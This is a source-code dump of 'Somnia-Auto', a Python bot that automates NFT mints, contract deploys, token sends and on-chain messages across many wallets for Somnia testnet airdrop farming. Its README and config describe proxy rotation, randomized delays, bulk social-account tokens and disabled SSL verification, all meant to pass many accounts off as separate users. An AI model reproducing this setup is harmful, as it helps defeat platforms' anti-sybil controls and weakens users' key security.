50 | pass # Убираем закрытие tqdm
51 |
52 |
53 | async def create_progress_tracker(
54 | total: int, description: str = "Progress"
55 | ) -> ProgressTracker:
56 | return ProgressTracker(total=total, description=description)
57 |
58 |
59 | async def process_item(tracker: ProgressTracker, item_id: int):
60 | delay = random.uniform(2, 5)
61 | await asyncio.sleep(delay)
62 | status = "completed" if random.random() > 0.2 else "pending"
63 | await tracker.increment(1, f"📝 Account {item_id} status: {status}")
64 |
--------------------------------------------------------------------------------
/src/model/help/stats.py:
--------------------------------------------------------------------------------
1 | from eth_account import Account
2 | from typing import Optional, Tuple
3 | from dataclasses import dataclass
4 | from threading import Lock
5 | from loguru import logger
6 | from src.utils.config import Config
7 | from src.model.onchain.web3_custom import Web3Custom
8 |
9 |
10 | @dataclass
11 | class WalletInfo:
12 | account_index: int
13 | private_key: str
14 | address: str
15 | balance: float
16 | transactions: int
17 |
18 |
19 | class WalletStats:
20 | def __init__(self, config: Config, web3: Web3Custom):
21 | # Используем публичную RPC ноду Base
22 | self.w3 = web3
23 | self.config = config
24 | self._lock = Lock()
25 |
26 | async def get_wallet_stats(
27 | self, private_key: str, account_index: int
28 | ) -> Optional[bool]:
29 | """
30 | Получает статистику кошелька и сохраняет в конфиг
31 |
32 | Args:
33 | private_key: Приватный ключ кошелька
34 | account_index: Индекс аккаунта
35 |
36 | Returns:
37 | bool: True если успешно, False если ошибка
38 | """
39 | try:
40 | # Получаем адрес из приватного ключа
41 | account = Account.from_key(private_key)
42 | address = account.address
43 |
44 | # Получаем баланс
45 | balance = await self.w3.get_balance(address)
46 | balance_eth = balance.ether
47 |
48 | # Получаем количество транзакций (nonce)
49 | tx_count = await self.w3.web3.eth.get_transaction_count(address)
50 |
51 | wallet_info = WalletInfo(
52 | account_index=account_index,
53 | private_key=private_key,
54 | address=address,
55 | balance=float(balance_eth),
56 | transactions=tx_count,
57 | )
58 |
59 | with self._lock:
60 | self.config.WALLETS.wallets.append(wallet_info)
61 |
62 | logger.info(
63 | f"{account_index} | {address} | "
64 | f"Balance = {balance_eth:.4f} STT, "
65 | f"Transactions = {tx_count}"
66 | )
67 |
68 | return True
69 |
70 | except Exception as e:
71 | logger.error(f"Error getting wallet stats: {e}")
72 | return False
73 |
--------------------------------------------------------------------------------
/src/utils/decorators.py:
--------------------------------------------------------------------------------
1 | from functools import wraps
2 | import asyncio
3 | from typing import TypeVar, Callable, Any, Optional
4 | from loguru import logger
5 | from src.utils.config import get_config
6 |
7 | T = TypeVar("T")
8 |
9 |
10 | # @retry_async(attempts=3, default_value=False)
11 | # async def deploy_contract(self):
12 | # try:
13 | # # ваш код деплоя
14 | # return True
15 | # except Exception as e:
16 | # # ваша обработка ошибки с паузой
17 | # await asyncio.sleep(your_pause)
18 | # raise # это вернет управление декоратору для следующей попытки
19 | #
20 | # @retry_async(default_value=False)
21 | # async def some_function():
22 | # ...
23 |
24 | def retry_async(
25 | attempts: int = None, # Make attempts optional
26 | delay: float = 1.0,
27 | backoff: float = 2.0,
28 | default_value: Any = None,
29 | ):
30 | """
31 | Async retry decorator with exponential backoff.
32 | If attempts is not provided, uses SETTINGS.ATTEMPTS from config.
33 | """
34 | def decorator(func: Callable[..., T]) -> Callable[..., T]:
35 | @wraps(func)
36 | async def wrapper(*args, **kwargs):
37 | # Get attempts from config if not provided
38 | retry_attempts = attempts if attempts is not None else get_config().SETTINGS.ATTEMPTS
39 | current_delay = delay
40 |
41 | for attempt in range(retry_attempts):
42 | try:
43 | return await func(*args, **kwargs)
44 | except Exception as e:
45 | if attempt < retry_attempts - 1: # Don't sleep on the last attempt
46 | logger.warning(
47 | f"Attempt {attempt + 1}/{retry_attempts} failed for {func.__name__}: {str(e)}. "
48 | f"Retrying in {current_delay:.1f} seconds..."
49 | )
50 | await asyncio.sleep(current_delay)
51 | current_delay *= backoff
52 | else:
53 | logger.error(
54 | f"All {retry_attempts} attempts failed for {func.__name__}: {str(e)}"
55 | )
56 | raise e # Re-raise the last exception
57 |
58 | return default_value
59 |
60 | return wrapper
61 |
62 | return decorator
63 |
--------------------------------------------------------------------------------
/src/utils/reader.py:
--------------------------------------------------------------------------------
1 | import json
2 | from loguru import logger
3 | from eth_account import Account
4 | from eth_account.hdaccount import generate_mnemonic
5 | from web3.auto import w3
6 |
7 |
8 | def read_txt_file(file_name: str, file_path: str) -> list:
9 | with open(file_path, "r") as file:
10 | items = [line.strip() for line in file]
11 |
12 | logger.success(f"Successfully loaded {len(items)} {file_name}.")
13 | return items
14 |
15 |
16 | def split_list(lst, chunk_size=90):
17 | return [lst[i : i + chunk_size] for i in range(0, len(lst), chunk_size)]
18 |
19 |
20 | def read_abi(path) -> dict:
21 | with open(path, "r") as f:
22 | return json.load(f)
23 |
24 |
25 | class InvalidKeyError(Exception):
26 | """Exception raised for invalid private keys or mnemonic phrases."""
27 |
28 | pass
29 |
30 |
31 | def read_private_keys(file_path: str) -> list:
32 | """
33 | Read private keys or mnemonic phrases from a file and return a list of private keys.
34 | If a line contains a mnemonic phrase, it will be converted to a private key.
35 |
36 | Args:
37 | file_path (str): Path to the file containing private keys or mnemonic phrases
38 |
39 | Returns:
40 | list: List of private keys in hex format (with '0x' prefix)
41 |
42 | Raises:
43 | InvalidKeyError: If any key or mnemonic phrase in the file is invalid
44 | """
45 | private_keys = []
46 |
47 | with open(file_path, "r") as file:
48 | for line_number, line in enumerate(file, 1):
49 | key = line.strip()
50 | if not key:
51 | continue
52 |
53 | try:
54 | # Check if the line is a mnemonic phrase (12 or 24 words)
55 | words = key.split()
56 | if len(words) in [12, 24]:
57 | Account.enable_unaudited_hdwallet_features()
58 | account = Account.from_mnemonic(key)
59 | private_key = account.key.hex()
60 | else:
61 | # Try to process as a private key
62 | if not key.startswith("0x"):
63 | key = "0x" + key
64 | # Verify that it's a valid private key
65 | Account.from_key(key)
66 | private_key = key
67 |
68 | private_keys.append(private_key)
69 |
70 | except Exception as e:
71 | raise InvalidKeyError(
72 | f"Invalid key or mnemonic phrase at line {line_number}: {key[:10]}... Error: {str(e)}"
73 | )
74 |
75 | logger.success(f"Successfully loaded {len(private_keys)} private keys.")
76 | return private_keys
77 |
--------------------------------------------------------------------------------
/config.yaml:
--------------------------------------------------------------------------------
1 | # --------------------------- #
2 | # SETTINGS SECTION
3 | # --------------------------- #
4 | SETTINGS:
5 | # number of concurrent threads
6 | THREADS: 1
7 |
8 | # number of retries for ANY action
9 | ATTEMPTS: 5
10 |
11 | # account range.
12 | # BY DEFAULT: [0, 0] - all accounts
13 | # [3, 5] - only 3 4 5 accounts
14 | # [7, 7] - only 7 account
15 | ACCOUNTS_RANGE: [0, 0]
16 |
17 | # WORKS ONLY IF ACCOUNTS_RANGE IS [0, 0]
18 | # exact accounts to use.
19 | # BY DEFAULT: [] - all accounts
20 | # Example: [1, 4, 6] - bot will use only 1, 4 and 6 accounts
21 | EXACT_ACCOUNTS_TO_USE: []
22 |
23 | SHUFFLE_WALLETS: true
24 |
25 | # pause between attempts
26 | PAUSE_BETWEEN_ATTEMPTS: [3, 10]
27 |
28 | # pause between swaps
29 | PAUSE_BETWEEN_SWAPS: [3, 10]
30 |
31 | # pause in seconds between accounts
32 | RANDOM_PAUSE_BETWEEN_ACCOUNTS: [3, 10]
33 |
34 | # pause in seconds between actions
35 | RANDOM_PAUSE_BETWEEN_ACTIONS: [3, 10]
36 |
37 | # random pause before start of every account
38 | # to make sure that all accounts will be started at different times
39 | RANDOM_INITIALIZATION_PAUSE: [20, 40]
40 |
41 | # if true, bot will send logs to telegram
42 | SEND_TELEGRAM_LOGS: false
43 | # telegram bot token
44 | TELEGRAM_BOT_TOKEN: "12317283:lskjalsdfasdfasd-sdfadfasd"
45 | # telegram users ids
46 | TELEGRAM_USERS_IDS: [235123432]
47 |
48 |
49 | FLOW:
50 | # if task from database failed, bot will skip it
51 | # if false, bot will stop and show error
52 | SKIP_FAILED_TASKS: false
53 |
54 |
55 | SOMNIA_NETWORK:
56 | # SETTINGS FOR ACTIONS ON https://quest.somnia.network/
57 | # use for exchange tokens
58 | SOMNIA_SWAPS:
59 | # percent of balance to swap
60 | BALANCE_PERCENT_TO_SWAP: [10, 20]
61 | # random number of swaps
62 | NUMBER_OF_SWAPS: [5, 8]
63 | # swap all to STT
64 | SWAP_ALL_TO_STT: true
65 |
66 |
67 | # Only for SEND_TOKENS task on somnia network website
68 | SOMNIA_TOKEN_SENDER:
69 | # percent of balance to send
70 | BALANCE_PERCENT_TO_SEND: [1.5, 3]
71 | # random number of sends
72 | NUMBER_OF_SENDS: [1, 1]
73 |
74 | # chance to send tokens to devs. if 100, bot will send tokens to devs wallets every time
75 | # if 0, bot will send tokens to random wallets
76 | SEND_ALL_TO_DEVS_CHANCE: 0
77 |
78 | SOMNIA_CAMPAIGNS:
79 | # if true, bot will replace failed twitter account with next one
80 | REPLACE_FAILED_TWITTER_ACCOUNT: false
81 |
82 |
83 | RPCS:
84 | SOMNIA: ["https://dream-rpc.somnia.network"]
85 |
86 |
87 | OTHERS:
88 | SKIP_SSL_VERIFICATION: true
89 | USE_PROXY_FOR_RPC: true
90 |
91 |
--------------------------------------------------------------------------------
/src/model/projects/mints/bigint.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | class Bigint:
13 | def __init__(
14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
15 | ):
16 | self.account_index = account_index
17 | self.somnia_web3 = somnia_web3
18 | self.config = config
19 | self.wallet = wallet
20 |
21 | @retry_async(default_value=False)
22 | async def mint_onchain_world(self):
23 | try:
24 | logger.info(f"{self.account_index} | Minting ONCHAIN WORLD NFT on Bigint...")
25 |
26 | # YAPPERS contract address
27 | contract_address = "0x7a2D0E24d20F44d6E83AD0e735882701d26a0C67"
28 |
29 | # Base payload with method ID 0x84bb1e42
30 | payload = "0x8467be0d0000000000000000000000000000000000000000000000000000000000000001"
31 |
32 | # Prepare transaction
33 | transaction = {
34 | "from": self.wallet.address,
35 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
36 | "value": Web3.to_wei(0.1, "ether"),
37 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
38 | self.wallet.address
39 | ),
40 | "chainId": await self.somnia_web3.web3.eth.chain_id,
41 | "data": payload,
42 | }
43 |
44 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
45 | gas_params = await self.somnia_web3.get_gas_params()
46 | transaction.update(gas_params)
47 |
48 | # Estimate gas
49 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
50 | transaction["gas"] = gas_limit
51 |
52 | # Execute transaction
53 | tx_hash = await self.somnia_web3.execute_transaction(
54 | transaction,
55 | self.wallet,
56 | await self.somnia_web3.web3.eth.chain_id,
57 | EXPLORER_URL_SOMNIA,
58 | )
59 |
60 | if tx_hash:
61 | logger.success(
62 | f"{self.account_index} | Successfully minted Bigint ONCHAIN WORLD NFT"
63 | )
64 |
65 | return True
66 | except Exception as e:
67 | random_sleep = random.randint(
68 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
69 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
70 | )
71 | logger.error(
72 | f"{self.account_index} | Error minting Bigint ONCHAIN WORLD NFT: {e}. Sleeping for {random_sleep} seconds..."
73 | )
74 | await asyncio.sleep(random_sleep)
75 | return False
76 |
--------------------------------------------------------------------------------
/src/model/projects/deploy/mintair.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | PAYLOAD = "0x6080604052348015600f57600080fd5b5061018d8061001f6000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063557ed1ba1461003b578063d09de08a14610059575b600080fd5b610043610063565b60405161005091906100d9565b60405180910390f35b61006161006c565b005b60008054905090565b600160008082825461007e9190610123565b925050819055507f3912982a97a34e42bab8ea0e99df061a563ce1fe3333c5e14386fd4c940ef6bc6000546040516100b691906100d9565b60405180910390a1565b6000819050919050565b6100d3816100c0565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061012e826100c0565b9150610139836100c0565b9250828201905080821115610151576101506100f4565b5b9291505056fea2646970667358221220801aef4e99d827a7630c9f3ce9c8c00d708b58053b756fed98cd9f2f5928d10f64736f6c634300081c0033"
13 |
14 |
15 | class Mintair:
16 | def __init__(
17 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
18 | ):
19 | self.account_index = account_index
20 | self.somnia_web3 = somnia_web3
21 | self.config = config
22 | self.wallet = wallet
23 |
24 | @retry_async(default_value=False)
25 | async def deploy_mintair(self):
26 | try:
27 | logger.info(f"{self.account_index} | Deploying Mintair...")
28 | # Prepare transaction
29 | transaction = {
30 | "from": self.wallet.address,
31 | "value": 0,
32 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
33 | self.wallet.address
34 | ),
35 | "chainId": await self.somnia_web3.web3.eth.chain_id,
36 | "data": PAYLOAD,
37 | }
38 |
39 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
40 | gas_params = await self.somnia_web3.get_gas_params()
41 | transaction.update(gas_params)
42 |
43 | # Estimate gas
44 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
45 | transaction["gas"] = gas_limit
46 |
47 | # Execute transaction
48 | tx_hash = await self.somnia_web3.execute_transaction(
49 | transaction,
50 | self.wallet,
51 | await self.somnia_web3.web3.eth.chain_id,
52 | EXPLORER_URL_SOMNIA,
53 | )
54 |
55 | if tx_hash:
56 | logger.success(
57 | f"{self.account_index} | Successfully deployed Mintair"
58 | )
59 |
60 | return True
61 | except Exception as e:
62 | random_sleep = random.randint(
63 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
64 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
65 | )
66 | logger.error(
67 | f"{self.account_index} | Error deploying Mintair: {e}. Sleeping for {random_sleep} seconds..."
68 | )
69 | await asyncio.sleep(random_sleep)
70 | return False
71 |
--------------------------------------------------------------------------------
/src/model/projects/others/quills.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | class Quills:
13 | def __init__(
14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
15 | ):
16 | self.account_index = account_index
17 | self.somnia_web3 = somnia_web3
18 | self.config = config
19 | self.wallet = wallet
20 |
21 | @retry_async(default_value=False)
22 | async def chat(self):
23 | try:
24 | random_message = random.choice(self.config.QUILLS.QUILLS_MESSAGES)
25 | logger.info(
26 | f"{self.account_index} | Sending message in Quills: {random_message}"
27 | )
28 |
29 | # Определение контракта и его ABI
30 | contract_address = "0x16f2fEc3bF691E1516B186F51e0DAA5114C9b5e8"
31 | contract_abi = [
32 | {
33 | "inputs": [
34 | {"internalType": "string", "name": "message", "type": "string"}
35 | ],
36 | "name": "addFun",
37 | "outputs": [],
38 | "stateMutability": "payable",
39 | "type": "function",
40 | }
41 | ]
42 |
43 | # Создание контракта
44 | contract = self.somnia_web3.web3.eth.contract(
45 | address=self.somnia_web3.web3.to_checksum_address(contract_address),
46 | abi=contract_abi,
47 | )
48 |
49 | # Подготовка параметров для вызова функции addFun
50 | eth_value = Web3.to_wei(0.0001, "ether") # 0.0001 ETH in wei
51 |
52 | # Создание вызова функции
53 | function_call = contract.functions.addFun(random_message)
54 |
55 | # Подготовка транзакции
56 | transaction = await function_call.build_transaction(
57 | {
58 | "from": self.wallet.address,
59 | "value": eth_value,
60 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
61 | self.wallet.address
62 | ),
63 | "chainId": await self.somnia_web3.web3.eth.chain_id,
64 | }
65 | )
66 |
67 | # Получение газовых параметров
68 | gas_params = await self.somnia_web3.get_gas_params()
69 | transaction.update(gas_params)
70 |
71 | # Оценка газа с буфером
72 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
73 | transaction["gas"] = gas_limit
74 |
75 | # Выполнение транзакции
76 | tx_hash = await self.somnia_web3.execute_transaction(
77 | transaction,
78 | self.wallet,
79 | await self.somnia_web3.web3.eth.chain_id,
80 | EXPLORER_URL_SOMNIA,
81 | )
82 |
83 | if tx_hash:
84 | logger.success(
85 | f"{self.account_index} | Successfully sent message to Quills contract: {random_message}"
86 | )
87 |
88 | return True
89 | except Exception as e:
90 | random_sleep = random.randint(
91 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
92 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
93 | )
94 | logger.error(
95 | f"{self.account_index} | Error sending message in Quills: {e}. Sleeping for {random_sleep} seconds..."
96 | )
97 | await asyncio.sleep(random_sleep)
98 | return False
99 |
--------------------------------------------------------------------------------
/src/model/projects/mints/alze.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | class Alze:
13 | def __init__(
14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
15 | ):
16 | self.account_index = account_index
17 | self.somnia_web3 = somnia_web3
18 | self.config = config
19 | self.wallet = wallet
20 |
21 | @retry_async(default_value=False)
22 | async def mint_yappers(self):
23 | try:
24 | logger.info(f"{self.account_index} | Minting YAPPERS NFT on Alze...")
25 |
26 | # YAPPERS contract address
27 | contract_address = "0xF6e220FA8d944B512e9ef2b1d732C3a12F156B3c"
28 |
29 | # Wallet address without 0x prefix in lowercase
30 | wallet_address_no_prefix = self.wallet.address[2:].lower()
31 |
32 | # Base payload with method ID 0x84bb1e42
33 | payload = (
34 | "0x84bb1e42"
35 | "000000000000000000000000"
36 | + wallet_address_no_prefix
37 | + "0000000000000000000000000000000000000000000000000000000000000001"
38 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"
39 | "0000000000000000000000000000000000000000000000000000000000000000"
40 | "00000000000000000000000000000000000000000000000000000000000000c0"
41 | "0000000000000000000000000000000000000000000000000000000000000160"
42 | "0000000000000000000000000000000000000000000000000000000000000080"
43 | "0000000000000000000000000000000000000000000000000000000000000000"
44 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
45 | "0000000000000000000000000000000000000000000000000000000000000000"
46 | "0000000000000000000000000000000000000000000000000000000000000000"
47 | "0000000000000000000000000000000000000000000000000000000000000000"
48 | )
49 |
50 | # Prepare transaction
51 | transaction = {
52 | "from": self.wallet.address,
53 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
54 | "value": 0,
55 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
56 | self.wallet.address
57 | ),
58 | "chainId": await self.somnia_web3.web3.eth.chain_id,
59 | "data": payload,
60 | }
61 |
62 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
63 | gas_params = await self.somnia_web3.get_gas_params()
64 | transaction.update(gas_params)
65 |
66 | # Estimate gas
67 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
68 | transaction["gas"] = gas_limit
69 |
70 | # Execute transaction
71 | tx_hash = await self.somnia_web3.execute_transaction(
72 | transaction,
73 | self.wallet,
74 | await self.somnia_web3.web3.eth.chain_id,
75 | EXPLORER_URL_SOMNIA,
76 | )
77 |
78 | if tx_hash:
79 | logger.success(
80 | f"{self.account_index} | Successfully minted YAPPERS NFT"
81 | )
82 |
83 | return True
84 | except Exception as e:
85 | random_sleep = random.randint(
86 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
87 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
88 | )
89 | logger.error(
90 | f"{self.account_index} | Error minting YAPPERS NFT: {e}. Sleeping for {random_sleep} seconds..."
91 | )
92 | await asyncio.sleep(random_sleep)
93 | return False
94 |
--------------------------------------------------------------------------------
/src/model/projects/mints/mintaura.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | class Mintaura:
13 | def __init__(
14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
15 | ):
16 | self.account_index = account_index
17 | self.somnia_web3 = somnia_web3
18 | self.config = config
19 | self.wallet = wallet
20 |
21 | @retry_async(default_value=False)
22 | async def mint_somni(self):
23 | try:
24 | logger.info(f"{self.account_index} | Minting SOMNI NFT on Mintaura...")
25 |
26 | # YAPPERS contract address
27 | contract_address = "0xfA139F427a667b56d93946c2FD2c03601BaD033A"
28 |
29 | # Wallet address without 0x prefix in lowercase
30 | wallet_address_no_prefix = self.wallet.address[2:].lower()
31 |
32 | # Base payload with method ID 0x84bb1e42
33 | payload = (
34 | "0x84bb1e42"
35 | "000000000000000000000000"
36 | + wallet_address_no_prefix
37 | + "0000000000000000000000000000000000000000000000000000000000000001"
38 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"
39 | "0000000000000000000000000000000000000000000000000000000000000000"
40 | "00000000000000000000000000000000000000000000000000000000000000c0"
41 | "0000000000000000000000000000000000000000000000000000000000000160"
42 | "0000000000000000000000000000000000000000000000000000000000000080"
43 | "0000000000000000000000000000000000000000000000000000000000000000"
44 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
45 | "0000000000000000000000000000000000000000000000000000000000000000"
46 | "0000000000000000000000000000000000000000000000000000000000000000"
47 | "0000000000000000000000000000000000000000000000000000000000000000"
48 | )
49 |
50 | # Prepare transaction
51 | transaction = {
52 | "from": self.wallet.address,
53 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
54 | "value": 0,
55 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
56 | self.wallet.address
57 | ),
58 | "chainId": await self.somnia_web3.web3.eth.chain_id,
59 | "data": payload,
60 | }
61 |
62 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
63 | gas_params = await self.somnia_web3.get_gas_params()
64 | transaction.update(gas_params)
65 |
66 | # Estimate gas
67 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
68 | transaction["gas"] = gas_limit
69 |
70 | # Execute transaction
71 | tx_hash = await self.somnia_web3.execute_transaction(
72 | transaction,
73 | self.wallet,
74 | await self.somnia_web3.web3.eth.chain_id,
75 | EXPLORER_URL_SOMNIA,
76 | )
77 |
78 | if tx_hash:
79 | logger.success(
80 | f"{self.account_index} | Successfully minted Mintaura SOMNI NFT"
81 | )
82 |
83 | return True
84 | except Exception as e:
85 | random_sleep = random.randint(
86 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
87 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
88 | )
89 | logger.error(
90 | f"{self.account_index} | Error minting Mintaura SOMNI NFT: {e}. Sleeping for {random_sleep} seconds..."
91 | )
92 | await asyncio.sleep(random_sleep)
93 | return False
94 |
--------------------------------------------------------------------------------
/src/model/onchain/constants.py:
--------------------------------------------------------------------------------
1 | from decimal import Decimal
2 | from typing import Dict
3 | from dataclasses import dataclass
4 |
5 |
6 | @dataclass
7 | class Balance:
8 | """Balance representation in different formats."""
9 |
10 | _wei: int
11 | decimals: int = 18 # ETH по умолчанию имеет 18 decimals
12 | symbol: str = "ETH" # ETH символ по умолчанию
13 |
14 | @property
15 | def wei(self) -> int:
16 | """Get balance in wei."""
17 | return self._wei
18 |
19 | @property
20 | def formatted(self) -> float:
21 | """Get balance in token units."""
22 | return float(Decimal(str(self._wei)) / Decimal(str(10**self.decimals)))
23 |
24 | @property
25 | def gwei(self) -> float:
26 | """Get balance in gwei (only for ETH)."""
27 | if self.symbol != "ETH":
28 | raise ValueError("gwei is only applicable for ETH")
29 | return float(Decimal(str(self._wei)) / Decimal("1000000000")) # 1e9
30 |
31 | @property
32 | def ether(self) -> float:
33 | """Get balance in ether (only for ETH)."""
34 | if self.symbol != "ETH":
35 | raise ValueError("ether is only applicable for ETH")
36 | return self.formatted
37 |
38 | @property
39 | def eth(self) -> float:
40 | """Alias for ether (only for ETH)."""
41 | return self.ether
42 |
43 | def __str__(self) -> str:
44 | """String representation of balance."""
45 | return f"{self.formatted} {self.symbol} ({self._wei} wei)"
46 |
47 | def __repr__(self) -> str:
48 | """Detailed string representation of balance."""
49 | base_repr = f"Balance(wei={self._wei}, formatted={self.formatted}, symbol={self.symbol})"
50 | if self.symbol == "ETH":
51 | base_repr = (
52 | f"Balance(wei={self._wei}, gwei={self.gwei}, ether={self.ether})"
53 | )
54 | return base_repr
55 |
56 | def to_dict(self) -> Dict[str, float]:
57 | """Convert balance to dictionary representation."""
58 | if self.symbol == "ETH":
59 | return {"wei": self.wei, "gwei": self.gwei, "ether": self.ether}
60 | return {"wei": self.wei, "formatted": self.formatted}
61 |
62 | @classmethod
63 | def from_wei(
64 | cls, wei_amount: int, decimals: int = 18, symbol: str = "ETH"
65 | ) -> "Balance":
66 | """Create Balance instance from wei amount."""
67 | return cls(_wei=wei_amount, decimals=decimals, symbol=symbol)
68 |
69 | @classmethod
70 | def from_formatted(
71 | cls, amount: float, decimals: int = 18, symbol: str = "ETH"
72 | ) -> "Balance":
73 | """Create Balance instance from formatted amount."""
74 | wei_amount = int(Decimal(str(amount)) * Decimal(str(10**decimals)))
75 | return cls(_wei=wei_amount, decimals=decimals, symbol=symbol)
76 |
77 | @classmethod
78 | def from_ether(cls, ether_amount: float) -> "Balance":
79 | """Create Balance instance from ether amount."""
80 | wei_amount = int(Decimal(str(ether_amount)) * Decimal("1000000000000000000"))
81 | return cls(_wei=wei_amount)
82 |
83 | @classmethod
84 | def from_gwei(cls, gwei_amount: float) -> "Balance":
85 | """Create Balance instance from gwei amount."""
86 | wei_amount = int(Decimal(str(gwei_amount)) * Decimal("1000000000"))
87 | return cls(_wei=wei_amount)
88 |
89 | def __eq__(self, other: object) -> bool:
90 | if not isinstance(other, Balance):
91 | return NotImplemented
92 | return self._wei == other._wei
93 |
94 | def __lt__(self, other: object) -> bool:
95 | if not isinstance(other, Balance):
96 | return NotImplemented
97 | return self._wei < other._wei
98 |
99 | def __gt__(self, other: object) -> bool:
100 | if not isinstance(other, Balance):
101 | return NotImplemented
102 | return self._wei > other._wei
103 |
104 | def __add__(self, other: object) -> "Balance":
105 | if not isinstance(other, Balance):
106 | return NotImplemented
107 | return Balance(_wei=self._wei + other._wei)
108 |
109 | def __sub__(self, other: object) -> "Balance":
110 | if not isinstance(other, Balance):
111 | return NotImplemented
112 | return Balance(_wei=self._wei - other._wei)
113 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 🔮 Somnia-Auto — Retrodrop Automation Bot
2 |
3 | A powerful and modular automation bot for the **Somnia Network**.
4 | Designed for efficient farming on the testnet and boosting your chances in potential retroactive airdrops.
5 |
6 | **SUPPORT >>>** [@jackthedevv](https://t.me/jackthedevv) **<<< SUPPORT**
7 |
8 | ---
9 |
10 | ## 🌟 Features
11 |
12 | * ✨ Multi-threaded wallet processing
13 | * 🔄 Automatic retries with custom attempts
14 | * 🔐 Proxy support for IP rotation
15 | * 📊 Wallet range selection
16 | * 🎲 Randomized delays between actions
17 | * 🔔 Telegram logging
18 | * 🗘️ Detailed transaction tracking
19 | * 🧩 Modular task execution
20 | * 🤖 Social media integrations (Twitter, Discord)
21 | * ⚠️ Discord auto-inviter
22 | * 💬 Blockchain messaging via Quills
23 |
24 | ---
25 |
26 | ## 🎯 Available Actions
27 |
28 | **Network:**
29 |
30 | * Claim Somnia Faucet
31 | * Send SOMNIA Tokens
32 | * Set Username
33 | * Fetch Account Info
34 | * Link Twitter/Discord
35 | * Complete Campaigns
36 | * Discord Invite Automation
37 |
38 | **Minting & NFTs:**
39 |
40 | * Mint Ping Pong Tokens
41 | * Mint NFTs: SHANNON, NEE, YAPPERS, SOMNI
42 | * Deploy contracts (Mintair)
43 |
44 | **Trading & Messages:**
45 |
46 | * Ping Pong Token Swaps
47 | * Send Quills blockchain messages
48 |
49 | ---
50 |
51 | ## 📋 Requirements
52 |
53 | * Python `3.11.1` to `3.11.6`
54 | * Somnia-compatible private keys
55 | * Optional: Proxies
56 | * Twitter API tokens
57 | * Discord tokens
58 | * Quills messages for on-chain communication
59 |
60 | ---
61 |
62 | ## 🚀 Installation
63 |
64 | ```bash
65 | git clone https://github.com/Dcurig/Somnia-Auto
66 | cd Somnia-Auto
67 | pip install -r requirements.txt
68 | ```
69 |
70 | 1. Configure `config.yaml`
71 | 2. Place private keys in `data/private_keys.txt`
72 | 3. Add proxies in `data/proxies.txt`
73 | 4. Add Twitter tokens to `data/twitter_tokens.txt`
